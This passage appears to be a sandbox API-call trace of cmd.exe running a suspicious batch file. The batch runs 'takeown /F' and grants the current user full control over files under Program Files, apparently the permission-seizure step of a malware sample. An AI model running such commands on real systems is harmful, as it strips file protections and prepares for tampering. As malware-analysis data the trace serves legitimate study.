lpReturnSize=0x0 | out: lpAttributeList=0x3ae868, lpPreviousValue=0x0) returned 1 [0076.346] GetStartupInfoW (in: lpStartupInfo=0x3ae824 | out: lpStartupInfo=0x3ae824*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0076.359] CloseHandle (hObject=0x78) returned 1 [0076.359] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.359] GetProcessHeap () returned 0x170000 [0076.359] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185fb0 | out: hHeap=0x170000) returned 1 [0076.359] GetEnvironmentStringsW () returned 0x185fb0* [0076.359] GetProcessHeap () returned 0x170000 [0076.359] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb36) returned 0x186af0 [0076.359] FreeEnvironmentStringsW (penv=0x185fb0) returned 1 [0076.360] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0081.013] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x3ae804 | out: lpExitCode=0x3ae804*=0x1f57) returned 1 [0081.013] CloseHandle (hObject=0x74) returned 1 [0081.013] _vsnwprintf (in: _Buffer=0x3ae94c, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ae810 | out: _Buffer="00001F57") returned 8 [0081.013] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0081.013] GetProcessHeap () returned 0x170000 [0081.013] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x186af0 | out: hHeap=0x170000) returned 1 [0081.013] GetEnvironmentStringsW () returned 0x185fb0* [0081.013] GetProcessHeap () returned 0x170000 [0081.013] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb5c) returned 0x188198 [0081.013] FreeEnvironmentStringsW (penv=0x185fb0) returned 1 [0081.013] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0081.013] GetProcessHeap () returned 0x170000 [0081.013] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x188198 | out: hHeap=0x170000) returned 1 [0081.013] GetEnvironmentStringsW () returned 0x185fb0* [0081.013] GetProcessHeap () returned 0x170000 [0081.013] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb5c) returned 0x188198 [0081.013] FreeEnvironmentStringsW (penv=0x185fb0) returned 1 [0081.013] GetProcessHeap () returned 0x170000 [0081.013] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170db8 | out: hHeap=0x170000) returned 1 [0081.013] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ae868 | out: lpAttributeList=0x3ae868) [0081.013] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.014] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0081.014] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.014] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0081.014] _get_osfhandle (_FileHandle=0) returned 0x3 [0081.014] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0081.014] SetConsoleInputExeNameW () returned 0x1 [0081.014] GetConsoleOutputCP () returned 0x1b5 [0081.015] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0081.015] SetThreadUILanguage (LangId=0x0) returned 0x409 [0081.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3af084, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0081.015] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0081.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0081.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184b70 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184a40 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184918 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1848b0 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1847d8 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1845c0 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184540 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184410 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1842e8 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184280 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1841b0 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184190 | out: hHeap=0x170000) returned 1 [0081.016] GetProcessHeap () returned 0x170000 [0081.016] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171258 | out: hHeap=0x170000) returned 1 [0081.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0081.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0081.016] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af068, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3af068*=0xc2, lpOverlapped=0x0) returned 1 [0081.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0081.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0081.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0081.017] GetFileType (hFile=0x74) returned 0x1 [0081.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0081.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0081.018] GetProcessHeap () returned 0x170000 [0081.018] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x194b28 [0081.018] GetProcessHeap () returned 0x170000 [0081.018] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b28 | out: hHeap=0x170000) returned 1 [0081.019] _tell (_FileHandle=3) returned 47 [0081.019] _close (_FileHandle=3) returned 0 [0081.019] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3aee3c | out: _Buffer="\r\n") returned 2 [0081.019] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.019] GetFileType (hFile=0x7) returned 0x2 [0081.020] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.020] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aedfc | out: lpMode=0x3aedfc) returned 1 [0081.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.020] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aee28, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aee28*=0x2) returned 1 [0081.658] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0081.658] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0081.658] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3aee38 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0081.658] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3aee38 | out: _Buffer=">") returned 1 [0081.658] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.658] GetFileType (hFile=0x7) returned 0x2 [0081.658] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.658] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aee00 | out: lpMode=0x3aee00) returned 1 [0081.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.659] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3aee2c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3aee2c*=0x26) returned 1 [0081.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.659] GetFileType (hFile=0x7) returned 0x2 [0081.659] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.659] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af084 | out: lpMode=0x3af084) returned 1 [0081.660] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.660] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x184198*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x3af0b0, lpReserved=0x0 | out: lpBuffer=0x184198*, lpNumberOfCharsWritten=0x3af0b0*=0x7) returned 1 [0081.660] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3af0bc | out: _Buffer=" /F \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\" ") returned 64 [0081.660] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.660] GetFileType (hFile=0x7) returned 0x2 [0081.660] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.660] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0081.661] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.661] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x40) returned 1 [0081.662] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3af0dc | out: _Buffer="\r\n") returned 2 [0081.662] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.662] GetFileType (hFile=0x7) returned 0x2 [0081.662] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.662] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af09c | out: lpMode=0x3af09c) returned 1 [0081.662] _get_osfhandle (_FileHandle=1) returned 0x7 [0081.663] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af0c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0c8*=0x2) returned 1 [0081.664] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0081.664] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0081.664] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0081.664] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0081.664] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0081.664] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0081.664] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0081.664] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0081.664] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0081.664] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0081.664] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0081.664] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0081.664] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0081.664] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0081.664] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0081.664] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0081.664] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0081.664] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0081.664] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0081.664] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0081.664] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0081.664] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0081.664] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0081.664] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0081.664] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0081.664] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0081.664] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0081.664] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0081.664] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0081.665] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0081.665] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0081.665] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0081.665] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0081.665] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0081.665] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0081.665] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0081.665] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0081.665] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0081.665] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0081.665] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0081.665] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0081.665] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0081.665] GetConsoleTitleW (in: lpConsoleTitle=0x3aec4c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0081.666] GetConsoleTitleW (in: lpConsoleTitle=0x3ae9e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0081.666] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ae868, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ae930 | out: lpAttributeList=0x3ae868, lpSize=0x3ae930) returned 1 [0081.666] UpdateProcThreadAttribute (in: lpAttributeList=0x3ae868, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ae928, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ae868, lpPreviousValue=0x0) returned 1 [0081.666] GetStartupInfoW (in: lpStartupInfo=0x3ae824 | out: lpStartupInfo=0x3ae824*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0081.676] CloseHandle (hObject=0x74) returned 1 [0081.676] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0081.676] GetProcessHeap () returned 0x170000 [0081.676] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x188198 | out: hHeap=0x170000) returned 1 [0081.676] GetEnvironmentStringsW () returned 0x185fb0* [0081.676] GetProcessHeap () returned 0x170000 [0081.676] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb5c) returned 0x188198 [0081.676] FreeEnvironmentStringsW (penv=0x185fb0) returned 1 [0081.676] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0083.149] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3ae804 | out: lpExitCode=0x3ae804*=0x0) returned 1 [0083.149] CloseHandle (hObject=0x78) returned 1 [0083.149] _vsnwprintf (in: _Buffer=0x3ae94c, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ae810 | out: _Buffer="00000000") returned 8 [0083.149] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0083.149] GetProcessHeap () returned 0x170000 [0083.149] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x188198 | out: hHeap=0x170000) returned 1 [0083.149] GetEnvironmentStringsW () returned 0x185fb0* [0083.149] GetProcessHeap () returned 0x170000 [0083.149] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb5c) returned 0x188198 [0083.149] FreeEnvironmentStringsW (penv=0x185fb0) returned 1 [0083.149] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0083.149] GetProcessHeap () returned 0x170000 [0083.149] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x188198 | out: hHeap=0x170000) returned 1 [0083.149] GetEnvironmentStringsW () returned 0x185fb0* [0083.149] GetProcessHeap () returned 0x170000 [0083.149] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb5c) returned 0x188198 [0083.149] FreeEnvironmentStringsW (penv=0x185fb0) returned 1 [0083.149] GetProcessHeap () returned 0x170000 [0083.149] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170db8 | out: hHeap=0x170000) returned 1 [0083.149] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ae868 | out: lpAttributeList=0x3ae868) [0083.149] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.149] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0083.150] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.150] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0083.150] _get_osfhandle (_FileHandle=0) returned 0x3 [0083.150] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0083.150] SetConsoleInputExeNameW () returned 0x1 [0083.150] GetConsoleOutputCP () returned 0x1b5 [0083.150] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0083.150] SetThreadUILanguage (LangId=0x0) returned 0x409 [0083.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3af084, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0083.151] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0083.151] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.151] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184a98 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184968 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184840 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184d18 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1847a0 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184588 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184508 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1843d8 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1842b0 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184240 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1841b0 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184190 | out: hHeap=0x170000) returned 1 [0083.151] GetProcessHeap () returned 0x170000 [0083.151] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171258 | out: hHeap=0x170000) returned 1 [0083.152] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.152] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0083.152] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af068, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3af068*=0xb3, lpOverlapped=0x0) returned 1 [0083.152] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0083.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0083.153] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.153] GetFileType (hFile=0x78) returned 0x1 [0083.153] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.153] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0083.153] GetProcessHeap () returned 0x170000 [0083.153] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x194b28 [0083.153] GetProcessHeap () returned 0x170000 [0083.153] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x7e) returned 0x184190 [0083.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", nBufferLength=0x208, lpBuffer=0x3ae7f8, lpFilePart=0x3ae7f0 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", lpFilePart=0x3ae7f0*="To_Do_List.jtp") returned 0x39 [0083.153] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x3ae50c | out: lpFindFileData=0x3ae50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x171258 [0083.153] FindClose (in: hFindFile=0x171258 | out: hFindFile=0x171258) returned 1 [0083.153] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0083.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal", lpFindFileData=0x3ae50c | out: lpFindFileData=0x3ae50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 0x171258 [0083.154] FindClose (in: hFindFile=0x171258 | out: hFindFile=0x171258) returned 1 [0083.154] _wcsnicmp (_String1="WI0FCF~1", _String2="Windows Journal", _MaxCount=0xf) returned -62 [0083.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates", lpFindFileData=0x3ae50c | out: lpFindFileData=0x3ae50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0x171258 [0083.154] FindClose (in: hFindFile=0x171258 | out: hFindFile=0x171258) returned 1 [0083.154] _wcsnicmp (_String1="TEMPLA~1", _String2="Templates", _MaxCount=0x9) returned 10 [0083.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", lpFindFileData=0x3ae50c | out: lpFindFileData=0x3ae50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0x171258 [0083.154] FindClose (in: hFindFile=0x171258 | out: hFindFile=0x171258) returned 1 [0083.154] GetProcessHeap () returned 0x170000 [0083.154] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x26) returned 0x171258 [0083.154] GetProcessHeap () returned 0x170000 [0083.154] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b28 | out: hHeap=0x170000) returned 1 [0083.155] _tell (_FileHandle=3) returned 63 [0083.155] _close (_FileHandle=3) returned 0 [0083.155] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3aee3c | out: _Buffer="\r\n") returned 2 [0083.155] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.155] GetFileType (hFile=0x7) 